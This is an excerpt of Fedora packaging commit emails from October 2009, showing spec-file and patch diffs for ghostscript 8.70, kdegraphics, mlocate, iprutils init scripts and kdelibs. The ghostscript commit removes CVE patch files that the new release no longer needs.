+@@ -312,6 +312,9 @@ jbig2_decode_text_region(Jbig2Ctx *ctx, 
  		IBO = IB;
- 		image = jbig2_image_new(ctx, IBO->width + RDW,
- 					     IBO->height + RDH);
+ 		refimage = jbig2_image_new(ctx, IBO->width + RDW,
+ 						IBO->height + RDH);
 +		if (image == NULL)
 +		    return jbig2_error(ctx, JBIG2_SEVERITY_FATAL, segment->number,
 +				       "could not allocate image storage");


Index: ghostscript.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ghostscript/F-10/ghostscript.spec,v
retrieving revision 1.183
retrieving revision 1.184
diff -u -p -r1.183 -r1.184
--- ghostscript.spec	30 Jul 2009 14:12:51 -0000	1.183
+++ ghostscript.spec	5 Oct 2009 13:00:15 -0000	1.184
@@ -1,15 +1,15 @@
-%define gs_ver 8.64
-%define gs_dot_ver 8.64
+%define gs_ver 8.70
+%define gs_dot_ver 8.70
 %{expand: %%define build_with_freetype %{?_with_freetype:1}%{!?_with_freetype:0}}
 Summary: A PostScript interpreter and renderer.
 Name: ghostscript
 Version: %{gs_ver}
 
-Release: 11%{?dist}
+Release: 1%{?dist}
 
 # Included CMap data is Redistributable, no modification permitted,
 # see http://bugzilla.redhat.com/487510
-License: GPLv2 and Redistributable, no modification permitted
+License: GPLv3+ and Redistributable, no modification permitted
 URL: http://www.ghostscript.com/
 Group: Applications/Publishing
 Source0: ghostscript-%{gs_ver}.tar.bz2
@@ -23,12 +23,8 @@ Patch4: ghostscript-fPIC.patch
 Patch5: ghostscript-runlibfileifexists.patch
 Patch6: ghostscript-system-jasper.patch
 Patch7: ghostscript-pksmraw.patch
-Patch8: ghostscript-bitcmyk.patch
-Patch9: ghostscript-CVE-2009-0583,0584.patch
-Patch10: ghostscript-CVE-2009-0792.patch
-Patch11: ghostscript-CVE-2009-0196.patch
-Patch12: ghostscript-jbig2dec-nullderef.patch
-Patch13: ghostscript-gs-executable.patch
+Patch8: ghostscript-jbig2dec-nullderef.patch
+Patch9: ghostscript-gs-executable.patch
 
 Requires: urw-fonts >= 1.1, ghostscript-fonts
 BuildRequires: libjpeg-devel, libXt-devel
@@ -112,24 +108,11 @@ rm -rf libpng zlib jpeg jasper
 # Fix pksmraw output (bug #308211).  Still needed in 8.63.
 %patch7 -p1 -b .pksmraw
 
-# Fix bitcmyk driver (bug #486644).
-%patch8 -p1 -b .bitcmyk
-
-# Applied patch to fix CVE-2009-0583 (bug #487742) and CVE-2009-0584
-# (bug #487744).
-%patch9 -p1 -b .CVE-2009-0583,0584
-
-# Applied patch to fix CVE-2009-0792 (bug #491853).
-%patch10 -p1 -b .CVE-2009-0792
-
-# Applied patch to fix CVE-2009-0196 (bug #493379).
-%patch11 -p1 -b .CVE-2009-0196
-
 # Applied patch to fix NULL dereference in JBIG2 decoder (bug #501710).
-%patch12 -p1 -b .jbig2dec-nullderef
+%patch8 -p1 -b .jbig2dec-nullderef
 
 # Fix scripts so they don't get broken on install (bug #502550).
-%patch13 -p1 -b .gs-executable
+%patch9 -p1 -b .gs-executable
 
 # Convert manual pages to UTF-8
 from8859_1() {
@@ -279,7 +262,6 @@ rm -rf $RPM_BUILD_ROOT
 %dir %{_datadir}/ghostscript/%{gs_dot_ver}/Resource/Init
 %config %{_datadir}/ghostscript/%{gs_dot_ver}/Resource/Init/gs_init.ps
 %config %{_datadir}/ghostscript/%{gs_dot_ver}/Resource/Init/Fontmap*
-%{_datadir}/ghostscript/%{gs_dot_ver}/examples
 %{_datadir}/ghostscript/%{gs_dot_ver}/lib
 %{_mandir}/man*/*
 %lang(de) %{_mandir}/de/man*/*
@@ -294,6 +276,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files doc
 %defattr(-,root,root)
+%doc %{_datadir}/ghostscript/%{gs_dot_ver}/examples
 %doc %{_docdir}/%{name}-%{gs_dot_ver}
 
 %files gtk
@@ -312,6 +295,20 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/libgs.so
 
 %changelog
+* Mon Aug  3 2009 Tim Waugh <twaugh at redhat.com> 8.70-1
+- 8.70.
+- License has changed to GPLv3+.  Packages containing programs that
+  link to libgs/libijs are:
+  - foomatic (GPLv2+)
+  - libspectre (GPLv2+)
+  - ImageMagick (ImageMagick, listed on Licensing wiki page under
+    "Good Licenses" and marked as GPLv3 compat)
+  - gutenprint (GPLv2+)
+
+* Mon Aug  3 2009 Tim Waugh <twaugh at redhat.com> 8.64-12
+- Moved examples to doc subpackage (bug #515167).
+- Converted spec file to UTF-8.
+
 * Thu Jul 30 2009 Tim Waugh <twaugh at redhat.com> 8.64-11
 - Fixed CVE-2009-0583,0584 patch by using 255 as the maximum number of
   points, not 100, and by not treating a missing black point tag as an
@@ -1053,7 +1050,7 @@ rm -rf $RPM_BUILD_ROOT
 * Thu Jul 13 2000 Prospector <bugzilla at redhat.com>
 - automatic rebuild
 
-* Fri Jul 07 2000 Trond Eivind Glomsr?d <teg at redhat.com>
+* Fri Jul 07 2000 Trond Eivind Glomsr??d <teg at redhat.com>
 - fixed the broken inclusion of files in /usr/doc
 - Build requires freetype-devel
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ghostscript/F-10/sources,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- sources	30 Jul 2009 14:12:51 -0000	1.32
+++ sources	5 Oct 2009 13:00:15 -0000	1.33
@@ -1,3 +1,3 @@
 2fbae60417d42779f6488ab897dcaaf6  acro5-cmaps-2001.tar.gz
 dfc93dd2aaaf2b86d2fd55f654c13261  adobe-cmaps-200406.tar.gz
-b13289cb2115f38f40c5e064f87e228a  ghostscript-8.64.tar.bz2
+526366f8cb4fda0d3d293597cc5b984b  ghostscript-8.70.tar.bz2


--- ghostscript-CVE-2009-0196.patch DELETED ---

***** Not enough context to create diffstat for file: ghostscript-CVE-2009-0583,0584.patch,1.2,NONE
***** Not enough context to create diff for file: ghostscript-CVE-2009-0583,0584.patch,1.2,NONE

--- ghostscript-CVE-2009-0792.patch DELETED ---


--- ghostscript-bitcmyk.patch DELETED ---



From than at fedoraproject.org  Mon Oct  5 13:06:38 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon,  5 Oct 2009 13:06:38 +0000 (UTC)
Subject: rpms/kdegraphics/devel .cvsignore, 1.67, 1.68 kdegraphics.spec,
	1.212, 1.213 sources, 1.72, 1.73
Message-ID: <20091005130638.80E9411C00DB@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdegraphics/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11758

Modified Files:
	.cvsignore kdegraphics.spec sources 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdegraphics/devel/.cvsignore,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- .cvsignore	1 Sep 2009 17:32:37 -0000	1.67
+++ .cvsignore	5 Oct 2009 13:06:38 -0000	1.68
@@ -1 +1,2 @@
 kdegraphics-4.3.1.tar.bz2
+kdegraphics-4.3.2.tar.bz2


Index: kdegraphics.spec
===================================================================
RCS file: /cvs/extras/rpms/kdegraphics/devel/kdegraphics.spec,v
retrieving revision 1.212
retrieving revision 1.213
diff -u -p -r1.212 -r1.213
--- kdegraphics.spec	28 Aug 2009 13:41:16 -0000	1.212
+++ kdegraphics.spec	5 Oct 2009 13:06:38 -0000	1.213
@@ -7,7 +7,7 @@
 
 Summary:        K Desktop Environment - Graphics Applications
 Epoch:          7
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 
 Name:           kdegraphics
@@ -231,6 +231,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdegraphics/devel/sources,v
retrieving revision 1.72
retrieving revision 1.73
diff -u -p -r1.72 -r1.73
--- sources	28 Aug 2009 13:41:16 -0000	1.72
+++ sources	5 Oct 2009 13:06:38 -0000	1.73
@@ -1 +1 @@
-1657ac3a8773db36b2d89e0bdb332d8b  kdegraphics-4.3.1.tar.bz2
+a364a8c0f5ab0c0d41088c92890e6adb  kdegraphics-4.3.2.tar.bz2



From mitr at fedoraproject.org  Mon Oct  5 13:09:27 2009
From: mitr at fedoraproject.org (Miloslav Trmac)
Date: Mon,  5 Oct 2009 13:09:27 +0000 (UTC)
Subject: rpms/mlocate/F-12 .cvsignore, 1.14, 1.15 mlocate.spec, 1.26,
	1.27 sources, 1.14, 1.15
Message-ID: <20091005130927.A395311C00DB@cvs1.fedora.phx.redhat.com>

Author: mitr

Update of /cvs/pkgs/rpms/mlocate/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12426

Modified Files:
	.cvsignore mlocate.spec sources 
Log Message:
* Fri Oct  2 2009 Miloslav Trma? <mitr at redhat.com> - 0.22.2-1
- Update to mlocate-0.22.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mlocate/F-12/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	15 Sep 2009 18:34:48 -0000	1.14
+++ .cvsignore	5 Oct 2009 13:09:27 -0000	1.15
@@ -1 +1 @@
-mlocate-0.22.1.tar.bz2
+mlocate-0.22.2.tar.bz2


Index: mlocate.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mlocate/F-12/mlocate.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- mlocate.spec	15 Sep 2009 18:34:48 -0000	1.26
+++ mlocate.spec	5 Oct 2009 13:09:27 -0000	1.27
@@ -1,7 +1,7 @@
 Summary: An utility for finding files by name
 Name: mlocate
-Version: 0.22.1
-Release: 1
+Version: 0.22.2
+Release: 1%{?dist}
 License: GPLv2
 URL: https://fedorahosted.org/mlocate/
 Group: Applications/System
@@ -69,6 +69,9 @@ exit 0
 %ghost %{_localstatedir}/lib/mlocate/mlocate.db
 
 %changelog
+* Fri Oct  2 2009 Miloslav Trma? <mitr at redhat.com> - 0.22.2-1
+- Update to mlocate-0.22.2
+
 * Tue Sep 15 2009 Miloslav Trma? <mitr at redhat.com> - 0.22.1-1
 - Update to mlocate-0.22.1
 - Drop Provides: slocate, per NamingGuidelines


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mlocate/F-12/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	15 Sep 2009 18:34:48 -0000	1.14
+++ sources	5 Oct 2009 13:09:27 -0000	1.15
@@ -1 +1 @@
-f62b5d072ac3d73a4bf161af696db6bf  mlocate-0.22.1.tar.bz2
+27de49a88b8657f50fda02d152b8a5f1  mlocate-0.22.2.tar.bz2



From rrakus at fedoraproject.org  Mon Oct  5 13:20:06 2009
From: rrakus at fedoraproject.org (Roman Rakus)
Date: Mon,  5 Oct 2009 13:20:06 +0000 (UTC)
Subject: rpms/iprutils/devel iprutils-initscripts.patch, 1.4,
	1.5 iprutils.spec, 1.40, 1.41
Message-ID: <20091005132006.9337511C02A0@cvs1.fedora.phx.redhat.com>

Author: rrakus

Update of /cvs/extras/rpms/iprutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15067

Modified Files:
	iprutils-initscripts.patch iprutils.spec 
Log Message:
Fixed initscripts (#522464, #522462, #522461)

iprutils-initscripts.patch:
 iprdump   |  110 ++++++++++++++++++++++++++++----------------------
 iprinit   |  109 +++++++++++++++++++++++++++----------------------
 iprupdate |  136 +++++++++++++++++++++++++++++++++-----------------------------
 3 files changed, 197 insertions(+), 158 deletions(-)

Index: iprutils-initscripts.patch
===================================================================
RCS file: /cvs/extras/rpms/iprutils/devel/iprutils-initscripts.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- iprutils-initscripts.patch	2 Feb 2009 18:38:04 -0000	1.4
+++ iprutils-initscripts.patch	5 Oct 2009 13:20:06 -0000	1.5
@@ -1,15 +1,10 @@
-diff -up iprutils/init.d/iprha.initscript iprutils/init.d/iprha
-diff -up iprutils/init.d/iprdump.initscript iprutils/init.d/iprdump
---- iprutils/init.d/iprdump.initscript	2007-06-21 15:44:33.000000000 +0200
-+++ iprutils/init.d/iprdump	2008-04-09 16:46:13.000000000 +0200
-@@ -20,84 +20,74 @@
+diff -up iprutils/init.d/iprdump.initscripts iprutils/init.d/iprdump
+--- iprutils/init.d/iprdump.initscripts	2008-11-20 02:20:20.000000000 +0100
++++ iprutils/init.d/iprdump	2009-10-05 13:46:41.000000000 +0200
+@@ -20,84 +20,98 @@
  # Short-Description: Start the ipr dump daemon
  # Description:       Start the ipr dump daemon
  ### END INIT INFO
--
--IPRDUMP=/sbin/iprdump
--test -x $IPRDUMP || exit 5
--. /lib/lsb/init-functions
 +#
 +# chkconfig: 2345 20 80
 +# description: Runs the IBM Power RAID adapter dump daemon
@@ -23,19 +18,25 @@ diff -up iprutils/init.d/iprdump.initscr
 +RETVAL=0
 +
 +prog=iprdump
-+iprdump=/sbin/iprdump
++exec=/sbin/iprdump
 +lockfile=/var/lock/subsys/iprdump
 +pidfile=/var/run/iprdump.pid
  
+-IPRDUMP=/sbin/iprdump
+-test -x $IPRDUMP || exit 5
+-. /lib/lsb/init-functions
+ 
  start() {
-     echo -n "Starting ipr dump daemon"
+-    echo -n "Starting ipr dump daemon"
++    [ -x $exec ] || exit 5
++    echo -n "Starting $prog: "
      if [ ! -d /sys/class/scsi_generic ] ; then
          modprobe sg
      fi
 -    start_daemon $IPRDUMP --daemon
 -
 +    
-+    daemon $iprdump --daemon
++    daemon $exec --daemon
      RETVAL=$?
 -    if [ $RETVAL -eq 0 ]; then
 -	log_success_msg " "
@@ -43,7 +44,7 @@ diff -up iprutils/init.d/iprdump.initscr
 -	log_failure_msg " "
 -    fi
 +    echo
-+    [ $RETVAL = 0 ] && touch $lockfile && /sbin/pidof $iprdump > $pidfile
++    [ $RETVAL = 0 ] && touch $lockfile && /sbin/pidof $exec > $pidfile
      return $RETVAL
  }
  
@@ -51,88 +52,255 @@ diff -up iprutils/init.d/iprdump.initscr
 -    echo -n "Shutting down ipr dump daemon"
 -    killproc $IPRDUMP
 -
--    RETVAL=$?
++    echo -n "Stopping $prog: "
++    killproc $exec -TERM
+     RETVAL=$?
 -    if [ $RETVAL -eq 0 ]; then
 -	log_success_msg " "
 -    else
 -	log_failure_msg " "
 -    fi
--    return $RETVAL
--}
--
--restart() {
++    echo
++    [ $RETVAL = 0 ] && rm -f $lockfile $pidfile
+     return $RETVAL
+ }
+ 
+ restart() {
 -    $0 stop
 -    $0 start
 -    return $RETVAL
--}
--
--reload() {
++    stop
++    start
+ }
+ 
+ reload() {
 -    echo -n "Reload ipr dump daemon"
 -    $0 stop  &&  $0 start
 -    return $RETVAL
--}
--
++    restart
+ }
+ 
 -status() {
 -    echo -n "Checking for iprdump daemon: "
--
++force_reload() {
++    restart
++}
+ 
 -    pidofproc $IPRDUMP >& /dev/null
++rh_status() {
++    # run checks to determine if the service is running or use generic status
++    status $prog
++}
+ 
+-    RETVAL=$?
+-    if [ $RETVAL -eq 0 ]; then
+-	log_success_msg "running"
+-    else
+-	log_failure_msg "unused"
+-    fi
+-    return $RETVAL
++rh_status_q() {
++    rh_status >/dev/null 2>&1
+ }
+ 
+ case "$1" in
+     start)
+-	start
+-	;;
++        rh_status_q && exit 0
++        $1
++        ;;
+     stop)
+-	stop
+-	;;
++        rh_status_q || exit 0
++        $1
++        ;;
+     restart)
+-	restart
+-	;;
++        $1
++        ;;
+     reload)
+-	reload
+-	;;
++        rh_status_q || exit 7
++        $1
++        ;;
++    force-reload)
++        force_reload
++        ;;
+     status)
+-	status
+-	;;
++        rh_status
++        ;;
++    condrestart|try-restart)
++        rh_status_q || exit 0
++        restart
++        ;;
+     *)
+-	echo "Usage: $0 {start|stop|status|restart|reload}"
+-	exit 1
+-	;;
++        echo $"Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload}"
++        exit 2
+ esac
++exit $?
++
+diff -up iprutils/init.d/iprinit.initscripts iprutils/init.d/iprinit
+--- iprutils/init.d/iprinit.initscripts	2007-08-21 20:56:03.000000000 +0200
++++ iprutils/init.d/iprinit	2009-10-05 14:59:18.000000000 +0200
+@@ -20,84 +20,97 @@
+ # Short-Description: Start the ipr init daemon
+ # Description:       Start the ipr initialization daemon
+ ### END INIT INFO
 -
-+    echo -n "Stopping iprdump: "
-+    killproc $iprdump -TERM
+-IPRINIT=/sbin/iprinit
+-test -x $IPRINIT || exit 5
+-. /lib/lsb/init-functions
++#
++# chkconfig: 2345 20 80
++# description: Runs the IBM Power RAID adapter initialization daemon
++# processname: iprinit
++# pidfile: /var/run/iprinit.pid
++#
++
++# Source function library
++. /etc/init.d/functions
++
++RETVAL=0
++
++prog=iprinit
++exec=/sbin/iprinit
++lockfile=/var/lock/subsys/$prog
++pidfile=/var/run/iprinit.pid
+ 
+ start() {
+-    echo -n "Starting ipr initialization daemon"
++    [ -x $exec ] || exit 5
++    echo -n "Starting $prog: "
+     if [ ! -d /sys/class/scsi_generic ] ; then
+         modprobe sg
+     fi
+-    start_daemon $IPRINIT --daemon
++    daemon $exec --daemon
+ 
      RETVAL=$?
 -    if [ $RETVAL -eq 0 ]; then
+-	log_success_msg " "
+-    else
+-	log_failure_msg " "
+-    fi
++    echo
++    [ $RETVAL = 0 ] && touch $lockfile && /sbin/pidof $exec > $pidfile
+     return $RETVAL
+ }
+ 
+ stop() {
+-    echo -n "Shutting down ipr initialization daemon"
+-    killproc $IPRINIT
+-    
++    echo -n "Stopping iprinit: "
++    killproc $exec -TERM
+     RETVAL=$?
+-    if [ $RETVAL -eq 0 ]; then
+-	log_success_msg " "
+-    else
+-	log_failure_msg " "
+-    fi
++    [ $RETVAL = 0 ] && rm -f $lockfile $pidfile
+     return $RETVAL
+ }
+ 
+ restart() {
+-    $0 stop
+-    $0 start
+-    return $RETVAL
++    stop
++    start
+ }
+ 
+ reload() {
+-    echo -n "Reload ipr initialization daemon"
+-    $0 stop  &&  $0 start
+-    return $RETVAL
++    restart
+ }
+ 
+-status() {
+-    echo -n "Checking for ipr initialization daemon: "
++force_reload() {
++    restart
++}
+ 
+-    pidofproc $IPRINIT >& /dev/null
++rh_status() {
++    # run checks to determine if the service is running or use generic status
++    status $prog
++}
+ 
+-    RETVAL=$?
+-    if [ $RETVAL -eq 0 ]; then
 -	log_success_msg "running"
 -    else
 -	log_failure_msg "unused"
 -    fi
 -    return $RETVAL
-+    rm -f $lockfile $pidfile
-+    [ $RETVAL = 0 ] || return $RETVAL
++rh_status_q() {
++    rh_status >/dev/null 2>&1
  }
  
++
  case "$1" in
      start)
- 	start
-+	RETVAL=$?
- 	;;
+-	start
+-	;;
++        rh_status_q && exit 0
++        $1
++        ;;
      stop)
- 	stop
-+	RETVAL=$?
- 	;;
--    restart)
+-	stop
+-	;;
++        rh_status_q || exit 0
++        $1
++        ;;
+     restart)
 -	restart
-+    restart|force-reload)
-+	stop; start
-+	RETVAL=$?
- 	;;
--    reload)
-+    try-restart|reload|configtest)
-+	RETVAL=3
- 	reload
- 	;;
-+    condrestart)
-+	if [ -f $lockfile ]; then
-+            stop ; start
-+            RETVAL=$?
-+        fi
+-	;;
++        $1
++        ;;
+     reload)
+-	reload
+-	;;
++        rh_status_q || exit 7
++        $1
++        ;;
++    force-reload)
++        force_reload
 +        ;;
-+
      status)
 -	status
-+	status $iprdump
-+	RETVAL=$?
- 	;;
+-	;;
++        rh_status
++        ;;
++    condrestart|try-restart)
++        rh_status_q || exit 0
++        restart
++        ;;
      *)
 -	echo "Usage: $0 {start|stop|status|restart|reload}"
 -	exit 1
-+        echo $"Usage: $0 {start|stop|restart|condrestart|status}"
-+        RETVAL=3
- 	;;
+-	;;
++        echo $"Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload}"
++        exit 2
  esac
-diff -up iprutils/init.d/iprupdate.initscript iprutils/init.d/iprupdate
---- iprutils/init.d/iprupdate.initscript	2007-06-21 15:45:29.000000000 +0200
-+++ iprutils/init.d/iprupdate	2008-04-09 17:18:29.000000000 +0200
-@@ -20,86 +20,74 @@
++exit $?
++
+diff -up iprutils/init.d/iprupdate.initscripts iprutils/init.d/iprupdate
+--- iprutils/init.d/iprupdate.initscripts	2008-11-20 02:20:20.000000000 +0100
++++ iprutils/init.d/iprupdate	2009-10-05 15:04:50.000000000 +0200
+@@ -20,86 +20,98 @@
  # Short-Description: Start the iprupdate utility
  # Description:       Start the iprupdate utility
  ### END INIT INFO
@@ -153,7 +321,7 @@ diff -up iprutils/init.d/iprupdate.inits
 +RETVAL=0
 +
 +prog=iprupdate
-+iprupdate=/sbin/iprupdate
++exec=/sbin/iprupdate
 +lockfile=/var/lock/subsys/iprupdate
 +pidfile=/var/run/iprupdate.pid
  
@@ -173,59 +341,75 @@ diff -up iprutils/init.d/iprupdate.inits
 -	    log_failure_msg " "
 -	fi
 -        return $RETVAL
--}
++    [ -x $exec ] || exit 5
 +    echo -n "Starting iprupdate: "
++
++    if [ ! -d /sys/class/scsi_generic ]; then
++        modprobe sg
++    fi
++
++    daemon $exec --daemon
++    RETVAL=$?
++    echo
++    [ $RETVAL = 0 ] && touch $lockfile && /sbin/pidof $exec > $pidfile
++    return $RETVAL
+ }
  
--stop() {
+ stop() {
 -    echo -n "Shutting down ipr update daemon"
 -    killproc $IPRUPDATE
 -    
--    RETVAL=$?
++    echo -n "Stopping iprupdate: "
++    killproc $exec -TERM
+     RETVAL=$?
 -    if [ $RETVAL -eq 0 ]; then
 -	log_success_msg " "
 -    else
 -	log_failure_msg " "
-+    if [ ! -d /sys/class/scsi_generic ]; then
-+        modprobe sg
-     fi
--    return $RETVAL
--}
--
--restart() {
+-    fi
++    [ $RETVAL = 0 ] && rm -f $lockfile $pidfile
+     return $RETVAL
+ }
+ 
+ restart() {
 -    $0 stop
 -    $0 start
 -    return $RETVAL
--}
++    stop
++    start
+ }
  
--reload() {
+ reload() {
 -    $0 stop
 -    $0 start
-+    daemon $iprupdate --daemon
-+    RETVAL=$?
-+    echo
-+    [ $RETVAL = 0 ] && touch $lockfile && /sbin/pidof $iprupdate > $pidfile
-     return $RETVAL
+-    return $RETVAL
++    restart
  }
  
 -status() {
 -    echo -n "Checking for ipr update daemon: "
--
++force_reload() {
++    restart
++}
+ 
 -    pidofproc $IPRUPDATE >& /dev/null
--
-+stop() {
-+    echo -n "Stopping iprupdate: "
-+    killproc $iprupdate -TERM
-     RETVAL=$?
++rh_status() {
++    # run checks to determine if the service is running or use generic status
++    status $prog
++}
+ 
+-    RETVAL=$?
 -    if [ $RETVAL -eq 0 ]; then
 -	log_success_msg "running"
 -    else
 -	log_failure_msg "unused"
 -    fi
 -    return $RETVAL
-+    rm -f $lockfile $pidfile
-+    [ $RETVAL = 0 ] || return $RETVAL
++rh_status_q() {
++    rh_status >/dev/null 2>&1
  }
  
++
  case "$1" in
 -	start)
 -		start
@@ -247,171 +431,33 @@ diff -up iprutils/init.d/iprupdate.inits
 -		exit 1
 -	;;
 +    start)
-+        start
-+        RETVAL=$?
++        rh_status_q && exit 0
++        $1
 +        ;;
 +    stop)
-+        stop
-+        RETVAL=$?
-+        ;;
-+    restart|force-reload)
-+        stop ; start
-+        RETVAL=$?
-+        ;;
-+    try-restart|reload|configtest)
-+        RETVAL=3
-+        ;;
-+    condrestart)
-+        if [ -f $lockfile ]; then
-+            stop ; start
-+            RETVAL=$?
-+        fi
-+        ;;
-+    status)
-+        status $iprupdate
-+        RETVAL=$?
-+        ;;
-+    *)
-+        echo $"Usage: $0 {start|stop|restart|condrestart|status}"
-+        RETVAL=3
++        rh_status_q || exit 0
++        $1
 +        ;;
- esac
-+
-diff -up iprutils/init.d/iprinit.initscript iprutils/init.d/iprinit
---- iprutils/init.d/iprinit.initscript	2007-06-21 15:46:37.000000000 +0200
-+++ iprutils/init.d/iprinit	2008-04-09 17:03:38.000000000 +0200
-@@ -20,84 +20,73 @@
- # Short-Description: Start the ipr init daemon
- # Description:       Start the ipr initialization daemon
- ### END INIT INFO
--
--IPRINIT=/sbin/iprinit
--test -x $IPRINIT || exit 5
--. /lib/lsb/init-functions
-+#
-+# chkconfig: 2345 20 80
-+# description: Runs the IBM Power RAID adapter initialization daemon
-+# processname: iprinit
-+# pidfile: /var/run/iprinit.pid
-+#
-+
-+# Source function library
-+. /etc/init.d/functions
-+
-+RETVAL=0
-+
-+prog=iprinit
-+iprinit=/sbin/iprinit
-+lockfile=/var/lock/subsys/iprinit
-+pidfile=/var/run/iprinit.pid
- 
- start() {
--    echo -n "Starting ipr initialization daemon"
-+    echo -n "Starting iprinit: "
-     if [ ! -d /sys/class/scsi_generic ] ; then
-         modprobe sg
-     fi
--    start_daemon $IPRINIT --daemon
-+    daemon $iprinit --daemon
- 
-     RETVAL=$?
--    if [ $RETVAL -eq 0 ]; then
--	log_success_msg " "
--    else
--	log_failure_msg " "
--    fi
-+    echo
-+    [ $RETVAL = 0 ] && touch $lockfile && /sbin/pidof $iprinit > $pidfile
-     return $RETVAL
- }
- 
- stop() {
--    echo -n "Shutting down ipr initialization daemon"
--    killproc $IPRINIT
--    
--    RETVAL=$?
--    if [ $RETVAL -eq 0 ]; then
--	log_success_msg " "
--    else
--	log_failure_msg " "
--    fi
--    return $RETVAL
--}
--
--restart() {
--    $0 stop
--    $0 start
--    return $RETVAL
--}
--
--reload() {
--    echo -n "Reload ipr initialization daemon"
--    $0 stop  &&  $0 start
--    return $RETVAL
--}
--
--status() {
--    echo -n "Checking for ipr initialization daemon: "
--
--    pidofproc $IPRINIT >& /dev/null
--
-+    echo -n "Stopping iprinit: "
-+    killproc $iprinit -TERM
-     RETVAL=$?
--    if [ $RETVAL -eq 0 ]; then
--	log_success_msg "running"
--    else
--	log_failure_msg "unused"
--    fi
--    return $RETVAL
-+    rm -f $lockfile $pidfile
-+    [ $RETVAL = 0 ] || return $RETVAL
- }
- 
- case "$1" in
-     start)
--	start
--	;;
-+        start
-+        RETVAL=$?
++    restart)
++        $1
 +        ;;
-     stop)
--	stop
--	;;
--    restart)
--	restart
--	;;
--    reload)
--	reload
--	;;
-+        stop
-+        RETVAL=$?
++    reload)
++        rh_status_q || exit 7
++        $1
 +        ;;
-+    restart|force-reload)
-+        stop ; start
-+        RETVAL=$?
-+        ;;
-+    try-restart|reload|configtest)
-+        RETVAL=3
-+        ;;
-+    condrestart)
-+        if [ -f $lockfile ]; then
-+            stop ; start
-+            RETVAL=$?
-+        fi
++    force-reload)
++        force_reload
 +        ;;
-     status)
--	status
--	;;
-+        status $iprinit
-+        RETVAL=$?
++    status)
++        rh_status
 +        ;;
-     *)
--	echo "Usage: $0 {start|stop|status|restart|reload}"
--	exit 1
--	;;
-+        echo $"Usage: $0 {start|stop|restart|condrestart|status}"
-+        RETVAL=3
++    condrestart|try-restart)
++        rh_status_q || exit 0
++        restart
 +        ;;
++    *)
++        echo $"Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload}"
++        exit 2
  esac
++exit $?
 +


Index: iprutils.spec
===================================================================
RCS file: /cvs/extras/rpms/iprutils/devel/iprutils.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- iprutils.spec	17 Sep 2009 08:01:19 -0000	1.40
+++ iprutils.spec	5 Oct 2009 13:20:06 -0000	1.41
@@ -1,7 +1,7 @@
 Summary: Utilities for the IBM Power Linux RAID adapters
 Name:    iprutils
 Version: 2.2.17
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: CPL
 Group:   System Environment/Base
 URL:     http://sourceforge.net/projects/iprdd/
@@ -64,6 +64,9 @@ CFLAGS="%{optflags}" %{__make}
 %{_sysconfdir}/rc.d/init.d/*
 
 %changelog
+* Mon Oct 05 2009 Roman Rakus <rrakus at redhat.com> - 2.2.17-2
+- Fixed initscripts (#522464, #522462, #522461)
+
 * Thu Sep 17 2009 Roman Rakus <rrakus at redhat.com> - 2.2.17-1
 - Version 2.2.17
 



From than at fedoraproject.org  Mon Oct  5 13:24:57 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon,  5 Oct 2009 13:24:57 +0000 (UTC)
Subject: rpms/kdelibs/devel .cvsignore, 1.79, 1.80 kdelibs.spec, 1.518,
	1.519 sources, 1.95, 1.96 kdelibs-4.3.1-kde186763.patch, 1.1, NONE
Message-ID: <20091005132457.9C05A11C00DB@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdelibs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16045

Modified Files:
	.cvsignore kdelibs.spec sources 
Removed Files:
	kdelibs-4.3.1-kde186763.patch 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdelibs/devel/.cvsignore,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- .cvsignore	1 Sep 2009 17:41:48 -0000	1.79
+++ .cvsignore	5 Oct 2009 13:24:57 -0000	1.80
@@ -1 +1,2 @@
 kdelibs-4.3.1.tar.bz2
+kdelibs-4.3.2.tar.bz2


Index: kdelibs.spec
===================================================================
RCS file: /cvs/extras/rpms/kdelibs/devel/kdelibs.spec,v
retrieving revision 1.518
retrieving revision 1.519
diff -u -p -r1.518 -r1.519
--- kdelibs.spec	23 Sep 2009 19:40:39 -0000	1.518
+++ kdelibs.spec	5 Oct 2009 13:24:57 -0000	1.519
@@ -3,8 +3,8 @@
 %define strigi_ver 0.7
 
 Summary: K Desktop Environment 4 - Libraries
